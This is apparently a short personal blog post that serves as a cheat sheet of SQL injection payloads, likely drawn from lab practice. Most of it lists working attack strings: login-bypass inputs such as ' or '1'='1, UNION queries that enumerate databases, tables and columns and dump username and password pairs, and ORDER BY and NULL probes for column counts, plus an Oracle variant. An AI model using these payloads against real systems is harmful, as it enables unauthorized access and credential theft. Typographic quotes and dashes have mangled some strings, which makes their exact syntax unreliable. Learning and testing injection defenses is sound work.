Some Basics of SQLi

Aman Bhuiyan
2 min readAug 1, 2023

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Some of the common SQLi commands which are important to perform SQL injection attack:

General :

‘ or ‘1’ = ‘1

‘ or ‘1’ = ‘1’

‘ or ‘1’ = ‘1 — -

‘ or ‘1’ = ‘1 #

1 UNION SELECT 1,2,3

For UNION Attack :

0 UNION SELECT 1,2,database()

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = ‘sqli_one’

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = ‘staff_users’

0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘<br>’) FROM staff_users

In-Blind SQL :

‘ OR 1=1; —

select * from users where username=’’ and password=’’ OR 1=1;

Bypass authentication :

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

#determine the number of columns

‘ ORDER BY 1 —

‘ ORDER BY 2 —

‘ ORDER BY 3 —

‘ UNION SELECT NULL —

‘ UNION SELECT NULL,NULL —

‘ UNION SELECT NULL,NULL,NULL —

Union attacks :

‘ UNION SELECT username || ‘~’ || password FROM users — #|| — concat , ~ seperator

For Oracle Version :

‘+UNION+SELECT+NULL,username||’~’||password+FROM+users —

For a UNION query to work, two key requirements must be met:

  • The individual queries must return the same number of columns.
  • The data types in each column must be compatible with the individual queries.

To carry out a SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:

  • How many columns are being returned from the original query?

Which columns returned from the original query are of a suitable data type to hold the results from the injected query?

Happy Hacking H4ck3r😇

This is my Blog site: MyCyberSecurityJourney

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Aman Bhuiyan

I hold a beast, an angel and a madman within me.” — Dylan Thomas